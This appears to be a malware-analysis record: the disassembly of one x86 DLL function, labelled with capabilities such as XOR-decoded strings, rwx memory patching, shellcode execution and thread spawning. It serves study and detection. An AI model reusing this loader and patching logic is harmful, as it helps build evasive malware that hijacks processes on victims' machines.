Function at 0x10015920
Capabilities:
Allocate or change rwx memory
Check os version
Create thread
Encode data using xor
Execute shellcode via indirect call
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
mov eax, dword [0x10148be4]
xor eax, ebp
mov dword [ebp - 4], eax
sub dword [ebp + 0xc], 1
mov dword [ebp - 0x44], 0
jne 0x10015d30
mov eax, dword [ebp + 8]
push 0x94
mov dword [0x10149c64], eax
lea eax, [ebp - 0x108]
push 0
push eax
call fcn.1001e6d0
add esp, 0xc
mov dword [ebp - 0x108], 0x94
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [ebp - 0x104], 6
mov ecx, 1
ja 0x1001599c
movzx eax, byte [0x10048098]
cmp dword [ebp - 0x100], ecx
cmovbe eax, ecx
mov byte [0x10048098], al
mov edx, 0x54
xor ecx, ecx
mov al, byte [ecx + 0x1003c684]
xor al, dl
mov byte [ebp + ecx - 0x1c], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0x14
jb 0x100159a3
mov byte [ebp - 8], 0
mov edx, 0xae
xor ecx, ecx
nop word [eax + eax]
mov al, byte [ecx + 0x1003c69c]
xor al, dl
mov byte [ebp + ecx - 0x58], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0xe
jb 0x100159d0
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x58]
mov byte [ebp - 0x4a], 0
push eax
call edi
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov esi, eax
xorps xmm0, xmm0
mov dword [ebp - 0x50], 0
movq qword [ebp - 0x58], xmm0
mov word [ebp - 0x4c], 0
lea eax, [esi + 5]
mov byte [ebp - 0x4a], 0
mov dword [0x10149ef0], eax
lea eax, [ebp - 0x44]
push eax
push 0x40
push 5
push 0x10013490
movups xmmword [ebp - 0x1c], xmm0
mov dword [ebp - 0xc], 0
mov byte [ebp - 8], 0
call ebx
mov eax, dword [esi]
mov ecx, 0x10013490
mov dword [ecx], eax
mov al, byte [esi + 4]
mov byte [ecx + 4], al
lea eax, [ebp - 0x44]
push eax
push dword [ebp - 0x44]
push 5
push 0x10013490
call ebx
push 0x397c57ce
lea ecx, [ebp - 0x48]
call fcn.10002fb0
push eax
call edi
test eax, eax
jne 0x10015ab2
mov eax, str.2_:1__y_56
lea ecx, [ebp - 0x74]
sub eax, 0x5abdd636
push eax
call fcn.10002790
push eax
call edi
test eax, eax
jne 0x10015ab2
push 0x73dd95eb
lea ecx, [ebp - 0x68]
call fcn.10002990
push eax
call edi
test eax, eax
jne 0x10015ab2
mov al, 1
jmp 0x10015ab4
xor al, al
test al, al
je 0x10015ad3
call fcn.10016e40
push 0x10149c38
push 0x10013370
push esi
call fcn.10016ca0
push esi
call fcn.10016e20
mov edx, 0x9b
xor ecx, ecx
nop word [eax + eax]
mov al, byte [ecx + 0x1003c6ac]
xor al, dl
mov byte [ebp + ecx - 0x5c], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0x12
jb 0x10015ae0
push 0x44a463a4
lea ecx, [ebp - 0x68]
mov byte [ebp - 0x4a], 0
call fcn.10002890
lea ecx, [ebp - 0x5c]
push ecx
push eax
call edi
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea ecx, [ebp - 0x40]
push 0
push 0x1e
xorps xmm0, xmm0
mov word [ebp - 0x60], 0
push ecx
push eax
movq qword [ebp - 0x68], xmm0
movups xmmword [ebp - 0x5c], xmm0
mov word [ebp - 0x4c], 0
mov byte [ebp - 0x4a], 0
call esi
push eax
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
lea eax, [ebp - 0x44]
push eax
push 0x40
push 0x1e
push 0x10010310
call ebx
push 0x1e
lea eax, [ebp - 0x40]
push eax
push 0x10010310
call fcn.1001e150
add esp, 0xc
lea eax, [ebp - 0x44]
push eax
push dword [ebp - 0x44]
push 0x1e
push 0x10010310
call ebx
push 0xff
push 0x1b
lea eax, [ebp - 0x20]
mov dword [ebp - 0x28], 0
xorps xmm0, xmm0
mov word [ebp - 0x24], 0
push eax
push 0x400000
movups xmmword [ebp - 0x40], xmm0
mov dword [ebp - 0x20], 0xffffffa1
movq qword [ebp - 0x30], xmm0
mov dword [ebp - 0x1c], 0xffffffff
mov dword [ebp - 0x18], 0xffff8bff
mov dword [ebp - 0x14], 0xffffffff
mov dword [ebp - 0x10], 0x78ffffff
mov dword [ebp - 0xc], 0x8bffff89
mov word [ebp - 8], 0x8ff
mov byte [ebp - 6], 0x51
call fcn.10007810
mov edi, dword [sym.imp.KERNEL32.dll_CreateThread]
add esp, 0x10
test eax, eax
je 0x10015d0c
push 0xff
push 0x17
lea eax, [ebp - 0x1c]
mov dword [ebp - 0x1c], 0x8e68
push eax
push 0x400000
mov dword [ebp - 0x18], 0xc16800
mov dword [ebp - 0x14], 0xff8d0000
mov dword [ebp - 0x10], 0xffffffff
mov dword [ebp - 0xc], 0xffffffe8
mov word [ebp - 8], 0x6aff
mov byte [ebp - 6], 2
call fcn.10007810
add esp, 0x10
test eax, eax
je 0x10015cfa
lea ecx, [eax + 0x47]
mov dword [0x10149c3c], ecx
mov edx, dword [ecx + 1]
add ecx, 5
add edx, ecx
lea ecx, [edx + 0xa]
mov dword [0x10149c3c], edx
mov dword [0x10149c40], ecx
mov esi, dword [ecx + 1]
add ecx, 5
add esi, ecx
lea ecx, [esi + 0x2d]
mov dword [0x10149c40], esi
mov dword [0x10149c44], ecx
mov eax, dword [ecx + 1]
add ecx, 5
add eax, ecx
lea ecx, [edx + 0x25]
mov dword [0x10149c44], eax
mov dword [0x10149c48], ecx
mov eax, dword [ecx + 1]
add eax, 5
mov dword [0x1004808c], 0x1000f500
add ecx, eax
mov dword [0x10149c48], ecx
lea eax, [ecx + 8]
mov dword [0x10149c60], eax
cmp byte [edx], 0x55
je 0x10015cc0
call fcn.1000f7b0
mov esi, dword [0x10149c40]
mov ecx, dword [0x10149c48]
cmp byte [esi], 0x55
je 0x10015cd0
call fcn.1000f7b0
mov ecx, dword [0x10149c48]
cmp byte [ecx], 0x55
je 0x10015cda
call fcn.1000f7b0
push 0x400000
call fcn.10006040
add esp, 4
push 0
push 0
push 0
push 0x1000d4f0
push 0
push 0
call edi
jmp 0x10015d1c
push 0
call esi
push eax
call 0x10010310
jmp dword [pe_dos_header]
push 0
call esi
push eax
call 0x10010310
jmp dword [pe_dos_header]
push 0
push 0
push 0
push 0x1000c670
push 0
push 0
call edi
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
mov eax, 1
xor ecx, ebp
call fcn.1001baaf
mov esp, ebp
pop ebp
ret 0xc